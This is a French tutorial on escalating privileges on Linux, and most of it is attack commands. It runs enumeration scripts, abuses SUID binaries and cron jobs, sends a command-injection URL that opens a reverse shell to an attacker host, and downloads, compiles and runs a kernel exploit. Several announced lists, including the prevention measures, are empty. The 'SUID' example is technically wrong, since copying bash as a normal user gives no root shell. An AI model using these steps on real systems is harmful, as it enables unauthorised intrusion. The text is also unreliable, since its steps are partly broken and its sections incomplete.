Introduction

Ce tutoriel explique comment effectuer une escalade de privilèges sur un système Linux pour obtenir des droits d'administrateur. L'escalade de privilèges permet à un attaquant ayant compromis un compte utilisateur de basculer à des privilèges plus élevés, généralement root. Nous verrons comment identifier et exploiter les failles, ainsi que des techniques avancées pour échapper aux contre-mesures de sécurité.

Étape 1: Comprendre l'Escalade de Privilèges

L'escalade de privilèges consiste à exploiter des failles de sécurité dans un système pour obtenir des droits plus élevés que ceux initialement acquis. Les types d'escalade de privilèges incluent :

Étape 2: Identification des Failles

Pour identifier des vecteurs potentiels d'escalade de privilèges, vous pouvez utiliser des outils automatisés comme LinEnum ou LinPEAS, ou procéder manuellement en cherchant des configurations mal sécurisées.

Utilisation de LinEnum :

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

Utilisation de LinPEAS :

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Étape 3: Exploitation des Failles

Voici quelques exemples de failles courantes pouvant être exploitées pour une escalade de privilèges :

Exploitation des Fichiers SUID

Les fichiers SUID sont des fichiers exécutables avec le bit SUID activé, ce qui permet à un utilisateur de s'exécuter avec les privilèges du propriétaire du fichier (souvent root). Trouvez des fichiers SUID avec :

find / -perm -u=s -type f 2>/dev/null

Exemple d'exploitation d'un binaire SUID :

cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
/tmp/bash -p

Vous devriez maintenant avoir un shell root.

Exploitation des Tâches Cron

Les tâches Cron mal configurées peuvent permettre une escalade de privilèges si elles exécutent des scripts ou des binaires modifiables par l'utilisateur. Trouvez les tâches Cron avec :

cat /etc/crontab
ls -la /etc/cron.* /var/spool/cron/crontabs

Exemple d'exploitation :

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > /path/to/vulnerable/script.sh

Une fois la tâche Cron exécutée, vous pouvez obtenir un shell root avec :

/tmp/bash -p

Exploitation des Services Mal Configurés

Les services mal configurés, comme les services web ou les services de base de données, peuvent être exploités pour obtenir des privilèges élevés. Par exemple, un service web exécuté en tant que root et ayant une vulnérabilité d'injection de commandes peut être exploité pour exécuter des commandes en tant que root.

Exemple d'exploitation avec une vulnérabilité d'injection de commandes dans un service web :

http://example.com/vulnerable_page.php?cmd=whoami
http://example.com/vulnerable_page.php?cmd=bash -i >& /dev/tcp/attacker_ip/4444 0>&1

Techniques Avancées d'Escalade de Privilèges

Pour rendre l'attaque plus efficace, vous pouvez utiliser des techniques avancées telles que :

Exemple d'utilisation d'un exploit de kernel :

wget https://www.exploit-db.com/download/37292 -O exploit.c
gcc -o exploit exploit.c
./exploit

Exemples Pratiques

Voici trois exemples pratiques pour illustrer l'utilisation des techniques d'escalade de privilèges :

Exemple 1: Exploitation d'un Fichier SUID

Trouvez et exploitez un fichier SUID pour obtenir un shell root :

find / -perm -u=s -type f 2>/dev/null
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
/tmp/bash -p

Exemple 2: Exploitation d'une Tâche Cron

Modifiez une tâche Cron vulnérable pour obtenir un shell root :

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > /path/to/vulnerable/script.sh
/tmp/bash -p

Exemple 3: Exploitation d'un Service Web

Utilisez une vulnérabilité d'injection de commandes pour obtenir un shell root via un service web :

http://example.com/vulnerable_page.php?cmd=bash -i >& /dev/tcp/attacker_ip/4444 0>&1

Mesures de Prévention

Pour se protéger contre les escalades de privilèges, envisagez les mesures suivantes :

Conclusion

Ce tutoriel vous a montré comment effectuer une escalade de privilèges sur un système Linux. Rappelez-vous, ces informations doivent être utilisées de manière éthique et légale. L'objectif est de sensibiliser aux dangers des escalades de privilèges et de renforcer la sécurité des systèmes Linux.